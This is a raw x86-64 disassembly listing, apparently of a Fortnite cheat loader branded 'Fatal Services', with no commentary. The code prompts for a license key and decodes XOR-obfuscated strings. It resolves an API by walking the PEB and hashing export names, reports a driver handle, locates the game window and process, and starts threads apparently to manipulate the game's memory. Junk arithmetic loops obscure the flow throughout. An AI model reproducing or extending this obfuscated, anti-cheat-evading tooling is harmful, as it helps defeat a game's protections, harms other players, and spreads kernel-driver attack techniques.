mov eax, dword [rsp + 0x4c]
sub eax, 5
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007af96
mov eax, dword [rsp + 0x4c]
add eax, 8
mov dword [rsp + 0x4c], eax
jmp 0x14007afa1
mov eax, dword [rsp + 0x4c]
sub eax, 3
mov dword [rsp + 0x4c], eax
jmp 0x14007af64
mov dword [rsp + 0x3c], 5
cmp dword [rsp + 0x3c], 0x28
jge 0x14007b012
mov eax, dword [rsp + 0x3c]
add eax, 7
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007b005
mov eax, dword [rsp + 0x3c]
add eax, eax
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007aff8
mov eax, dword [rsp + 0x3c]
sub eax, 3
mov dword [rsp + 0x3c], eax
jmp 0x14007b003
mov eax, dword [rsp + 0x3c]
add eax, 4
mov dword [rsp + 0x3c], eax
jmp 0x14007b010
mov eax, dword [rsp + 0x3c]
sub eax, 3
mov dword [rsp + 0x3c], eax
jmp 0x14007afab
cmp dword [rsp + 0x3c], 0xf
jle 0x14007b0d8
mov dword [rsp + 0xac], 0
jmp 0x14007b03a
mov eax, dword [rsp + 0xac]
inc eax
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 8
jge 0x14007b0d6
imul eax, dword [rsp + 0xac], 9
mov ecx, dword [rsp + 0x3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007b0bd
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0x3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007b0a8
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0xac]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x3c], eax
jmp 0x14007b0bb
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0x3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
jmp 0x14007b0d1
imul eax, dword [rsp + 0xac], 3
mov ecx, dword [rsp + 0x3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
jmp 0x14007b02a
jmp 0x14007b12a
mov eax, dword [rsp + 0x3c]
sub eax, 0xa
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0xa
jge 0x14007b11f
mov eax, dword [rsp + 0x3c]
add eax, 7
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14007b112
mov eax, dword [rsp + 0x3c]
sub eax, 2
mov dword [rsp + 0x3c], eax
jmp 0x14007b11d
mov eax, dword [rsp + 0x3c]
add eax, 3
mov dword [rsp + 0x3c], eax
jmp 0x14007b12a
mov eax, dword [rsp + 0x3c]
sub eax, 2
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
add eax, 6
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007b17f
mov eax, dword [rsp + 0x3c]
sub eax, 5
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007b172
mov eax, dword [rsp + 0x3c]
add eax, 8
mov dword [rsp + 0x3c], eax
jmp 0x14007b17d
mov eax, dword [rsp + 0x3c]
sub eax, 3
mov dword [rsp + 0x3c], eax
jmp 0x14007b18a
mov eax, dword [rsp + 0x3c]
add eax, 7
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007b12a
cmp dword [rsp + 0x3c], 0
jle 0x14007b203
mov eax, dword [rsp + 0x3c]
sub eax, 6
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007b1ce
mov eax, dword [rsp + 0x3c]
add eax, 9
mov dword [rsp + 0x3c], eax
jmp 0x14007b201
mov eax, dword [rsp + 0x3c]
sub eax, 3
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14007b1f6
mov eax, dword [rsp + 0x3c]
add eax, 4
mov dword [rsp + 0x3c], eax
jmp 0x14007b201
mov eax, dword [rsp + 0x3c]
sub eax, 2
mov dword [rsp + 0x3c], eax
jmp 0x14007b19c
jmp 0x140078c6f
mov byte [rsp + 0xb0], 1
movzx eax, byte [rsp + 0xb0]
test eax, eax
je 0x14007bb71
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], 9
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.140066930
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x2d8], rax
lea rax, [rsp + 0x438]
lea rcx, [0x1401a3e30]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_32
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x438]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x230], rax
mov eax, 1
imul rax, rax, 0x1b
mov rcx, qword [rsp + 0x230]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x14007b2b1
mov dword [rsp + 0x22c], 1
jmp 0x14007b2bc
mov dword [rsp + 0x22c], 0
movzx eax, byte [rsp + 0x22c]
mov byte [rsp + 0xb1], al
movzx eax, byte [rsp + 0xb1]
movzx eax, al
test eax, eax
je 0x14007b350
mov dword [rsp + 0x12c], 0
jmp 0x14007b2f7
mov eax, dword [rsp + 0x12c]
inc eax
mov dword [rsp + 0x12c], eax
cmp dword [rsp + 0x12c], 0x1c
jge 0x14007b350
movsxd rax, dword [rsp + 0x12c]
mov rcx, qword [rsp + 0x230]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x250], eax
mov eax, dword [rsp + 0x12c]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x250]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x12c]
mov rdx, qword [rsp + 0x230]
mov byte [rdx + rcx], al
jmp 0x14007b2e7
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x2d0], rax
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x2d8]
call fcn.140046d30
mov qword [rsp + 0x2e0], rax
lea rdx, [0x14004c1a0]
mov rcx, qword [rsp + 0x2e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rax, [0x140061650]
mov qword [rsp + 0x2e8], rax
mov rdx, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x3e8]
call fcn.14004b3b0
nop
lea rax, [rsp + 0x3e8]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x2f8], rax
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x300], rax
mov rcx, qword [rsp + 0x300]
call fcn.140070280
nop
cmp dword [rsp + 0x3f0], 0
je 0x14007b41d
mov dword [rsp + 0x21c], 1
jmp 0x14007b428
mov dword [rsp + 0x21c], 0
movzx eax, byte [rsp + 0x21c]
mov byte [rsp + 0xb2], al
movzx eax, byte [rsp + 0xb2]
movzx eax, al
test eax, eax
je 0x14007b44d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
call fcn.14012f220
call fcn.140115f30
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], 9
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.140066930
lea rcx, str._Fatal_FortniteRelease_30.00_CL_33760522_Windows__n
call fcn.140041840
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], 9
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.140066930
lea rcx, str._Welcome_To_Fatal_Services__n
call fcn.140041840
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], 9
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.140066930
lea rcx, str._Enter_Your_License_Key:
call fcn.140041840
lea rdx, [0x14066cdc0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046530
nop
lea rax, [rsp + 0x488]
mov qword [rsp + 0x308], rax
lea rdx, [0x14066cdc0]
mov rcx, qword [rsp + 0x308]
call fcn.14004d270
mov qword [rsp + 0x310], rax
mov rcx, qword [rsp + 0x310]
call fcn.140111090
nop
mov eax, dword [0x1401a3e4c]
mov dword [rsp + 0x254], eax
lea rax, [rsp + 0x254]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x240], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x328]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x4a8], rax
mov rax, qword [rsp + 0x4a8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x238]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x338], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x338]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x288], rax
mov eax, dword [rsp + 0x288]
mov rcx, qword [rsp + 0x238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b8], rax
mov eax, dword [rsp + 0x28c]
mov dword [rsp + 0x4c0], eax
mov rax, qword [rsp + 0x4b0]
cmp qword [rsp + 0x4b8], rax
je 0x14007b658
mov dword [rsp + 0x220], 1
jmp 0x14007b663
mov dword [rsp + 0x220], 0
movzx eax, byte [rsp + 0x220]
mov byte [rsp + 0xb3], al
movzx eax, byte [rsp + 0xb3]
movzx eax, al
test eax, eax
je 0x14007b82e
mov rax, qword [rsp + 0x4b8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x258], eax
mov eax, dword [rsp + 0x258]
mov dword [rsp + 0x160], eax
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0x25c], eax
mov eax, dword [rsp + 0x160]
dec eax
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x25c], 0
je 0x14007b82e
mov rax, qword [rsp + 0x4b8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x4b0]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x160]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x270], rax
mov dword [rsp + 0x214], 0x811c9dc5
mov rax, qword [rsp + 0x270]
movzx eax, byte [rax]
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0x270]
inc rax
mov qword [rsp + 0x270], rax
movzx eax, byte [rsp + 0xb4]
mov byte [rsp + 0x98], al
movsx eax, byte [rsp + 0x98]
test eax, eax
jne 0x14007b76f
mov eax, dword [rsp + 0x214]
mov dword [rsp + 0x264], eax
jmp 0x14007b7a5
movsx eax, byte [rsp + 0x98]
mov ecx, dword [rsp + 0x214]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x260], eax
mov eax, dword [rsp + 0x260]
mov dword [rsp + 0x214], eax
jmp 0x14007b71f
mov eax, dword [rsp + 0x264]
cmp eax, 0x491e0a9c
jne 0x14007b829
mov rax, qword [rsp + 0x4b8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x4b8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x348], rax
mov eax, dword [rsp + 0x160]
mov rcx, qword [rsp + 0x348]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x350]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x278], rax
jmp 0x14007b888
jmp 0x14007b6a5
mov rax, qword [rsp + 0x4a8]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov rax, qword [rax]
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x368]
mov qword [rsp + 0x4a8], rax
mov byte [rsp + 0xba], 1
movzx eax, byte [rsp + 0xba]
movzx eax, al
test eax, eax
jne 0x14007b5a7
mov qword [rsp + 0x278], 0
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x380], rax
mov eax, 1
imul rax, rax, 3
mov rcx, qword [rsp + 0x240]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x14007b8be
mov dword [rsp + 0x224], 1
jmp 0x14007b8c9
mov dword [rsp + 0x224], 0
movzx eax, byte [rsp + 0x224]
mov byte [rsp + 0xb5], al
movzx eax, byte [rsp + 0xb5]
movzx eax, al
test eax, eax
je 0x14007b95d
mov dword [rsp + 0x130], 0
jmp 0x14007b904
mov eax, dword [rsp + 0x130]
inc eax
mov dword [rsp + 0x130], eax
cmp dword [rsp + 0x130], 4
jge 0x14007b95d
movsxd rax, dword [rsp + 0x130]
mov rcx, qword [rsp + 0x240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x268], eax
mov eax, dword [rsp + 0x130]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x268]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x130]
mov rdx, qword [rsp + 0x240]
mov byte [rdx + rcx], al
jmp 0x14007b8f4
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x378], rax
mov rcx, qword [rsp + 0x378]
call qword [rsp + 0x380]
nop
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], 9
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.140066930
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x3a0], rax
lea rax, [rsp + 0x458]
lea rcx, [0x1401a3e50]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_46
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x458]
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x388]
mov qword [rsp + 0x248], rax
mov eax, 1
imul rax, rax, 0x2d
mov rcx, qword [rsp + 0x248]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x14007ba1e
mov dword [rsp + 0x228], 1
jmp 0x14007ba29
mov dword [rsp + 0x228], 0
movzx eax, byte [rsp + 0x228]
mov byte [rsp + 0xb6], al
movzx eax, byte [rsp + 0xb6]
movzx eax, al
test eax, eax
je 0x14007babd
mov dword [rsp + 0x134], 0
jmp 0x14007ba64
mov eax, dword [rsp + 0x134]
inc eax
mov dword [rsp + 0x134], eax
cmp dword [rsp + 0x134], 0x2e
jge 0x14007babd
movsxd rax, dword [rsp + 0x134]
mov rcx, qword [rsp + 0x248]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x26c], eax
mov eax, dword [rsp + 0x134]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x26c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x134]
mov rdx, qword [rsp + 0x248]
mov byte [rdx + rcx], al
jmp 0x14007ba54
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x398], rax
mov rdx, qword [rsp + 0x398]
mov rcx, qword [rsp + 0x3a0]
call fcn.140046d30
mov qword [rsp + 0x3a8], rax
lea rdx, [0x14004c1a0]
mov rcx, qword [rsp + 0x3a8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x4c8]
call fcn.14004d9c0
nop
lea rdx, [rsp + 0x4c8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046530
nop
lea rdx, [0x1401a3b4c]
lea rcx, [rsp + 0x4c8]
call fcn.14006cf20
mov byte [rsp + 0xb7], al
movzx eax, byte [rsp + 0xb7]
movzx eax, al
test eax, eax
je 0x14007bb63
call fcn.140061800
nop
lea rcx, [rsp + 0x4c8]
call fcn.14006e350
nop
mov edx, 1
lea rcx, [0x1400652d0]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call fcn.14006b9c0
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], 9
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.140066930
lea rdx, str._Driver_Handle:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046d30
mov qword [rsp + 0x3b8], rax
mov rax, qword [0x1406745d0]
mov qword [rsp + 0x3b0], rax
mov rdx, qword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x3b8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.140046d30
mov qword [rsp + 0x3c0], rax
lea rdx, [0x14004c1a0]
mov rcx, qword [rsp + 0x3c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], 9
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.140066930
nop
lea rdx, str._Please_Start_Fortnite._n
lea rcx, [rsp + 0x3f8]
call fcn.14004d3d0
nop
mov edx, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rsp + 0x3f8]
call fcn.140075760
nop
lea rcx, [rsp + 0x3f8]
call fcn.14006e350
nop
cmp qword [0x140674598], 0
jne 0x14007bf12
mov eax, 1
imul rax, rax, 0
lea rcx, str.Fortnite
movsx rax, byte [rcx + rax]
xor ecx, ecx
add rcx, 0xfffffffffffffff0
xor rax, rcx
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x190], al
mov eax, 1
imul rax, rax, 1
lea rcx, str.Fortnite
movsx rax, byte [rcx + rax]
mov ecx, 1
add rcx, 0xfffffffffffffff0
xor rax, rcx
mov byte [rsp + 0xb9], al
movzx eax, byte [rsp + 0xb9]
mov byte [rsp + 0x191], al
mov eax, 1
imul rax, rax, 2
lea rcx, str.Fortnite
movsx rax, byte [rcx + rax]
mov ecx, 2
add rcx, 0xfffffffffffffff0
xor rax, rcx
mov byte [rsp + 0xc1], al
movzx eax, byte [rsp + 0xc1]
mov byte [rsp + 0x192], al
mov eax, 1
imul rax, rax, 3
lea rcx, str.Fortnite
movsx rax, byte [rcx + rax]
mov ecx, 3
add rcx, 0xfffffffffffffff0
xor rax, rcx
mov byte [rsp + 0xbb], al
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0x193], al
mov eax, 1
imul rax, rax, 4
lea rcx, str.Fortnite
movsx rax, byte [rcx + rax]
mov ecx, 4
add rcx, 0xfffffffffffffff0
xor rax, rcx
mov byte [rsp + 0xbc], al
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0x194], al
mov eax, 1
imul rax, rax, 5
lea rcx, str.Fortnite
movsx rax, byte [rcx + rax]
mov ecx, 5
add rcx, 0xfffffffffffffff0
xor rax, rcx
mov byte [rsp + 0xbd], al
movzx eax, byte [rsp + 0xbd]
mov byte [rsp + 0x195], al
mov eax, 1
imul rax, rax, 6
lea rcx, str.Fortnite
movsx rax, byte [rcx + rax]
mov ecx, 6
add rcx, 0xfffffffffffffff0
xor rax, rcx
mov byte [rsp + 0xbe], al
movzx eax, byte [rsp + 0xbe]
mov byte [rsp + 0x196], al
mov eax, 1
imul rax, rax, 7
lea rcx, str.Fortnite
movsx rax, byte [rcx + rax]
mov ecx, 7
add rcx, 0xfffffffffffffff0
xor rax, rcx
mov byte [rsp + 0xbf], al
movzx eax, byte [rsp + 0xbf]
mov byte [rsp + 0x197], al
mov eax, 1
imul rax, rax, 8
lea rcx, str.Fortnite
movsx rax, byte [rcx + rax]
mov ecx, 8
add rcx, 0xfffffffffffffff0
xor rax, rcx
mov byte [rsp + 0xc0], al
movzx eax, byte [rsp + 0xc0]
mov byte [rsp + 0x198], al
mov eax, 1
imul rax, rax, 9
lea rcx, str.Fortnite
movsx rax, byte [rcx + rax]
mov ecx, 9
add rcx, 0xfffffffffffffff0
xor rax, rcx
mov byte [rsp + 0xc2], al
movzx eax, byte [rsp + 0xc2]
mov byte [rsp + 0x199], al
mov byte [rsp + 0x19a], 0
mov byte [rsp + 0x19b], 1
lea rax, [rsp + 0x190]
mov qword [rsp + 0x3c8], rax
mov rax, qword [rsp + 0x3c8]
mov qword [rsp + 0x280], rax
mov rcx, qword [rsp + 0x280]
call fcn.140070200
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x3d0]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x140674598], rax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x14007bc69
lea rcx, str.start_SnippingTool
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rsp + 0x418]
call fcn.14004d3d0
nop
lea rcx, [rsp + 0x418]
call fcn.140070d10
mov dword [0x1406745d8], eax
lea rcx, [rsp + 0x418]
call fcn.14006e350
nop
call fcn.140058610
call fcn.140070e90
mov qword [0x1406745e0], rax
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], 9
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.140066930
mov rdx, qword [0x1406745e0]
lea rcx, str._Hacked_Game_Adress:__p
call fcn.140041840
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140065990]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x3d8], rax
mov rcx, qword [rsp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [fcn.1400586b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x3e0], rax
mov rcx, qword [rsp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140060c00
call fcn.14005cb80
nop
jmp 0x14007c01e
xor eax, eax
mov rcx, qword [rsp + 0x4e8]
xor rcx, rsp
call fcn.14019a660
add rsp, 0x4f8
pop rdi
pop rsi
ret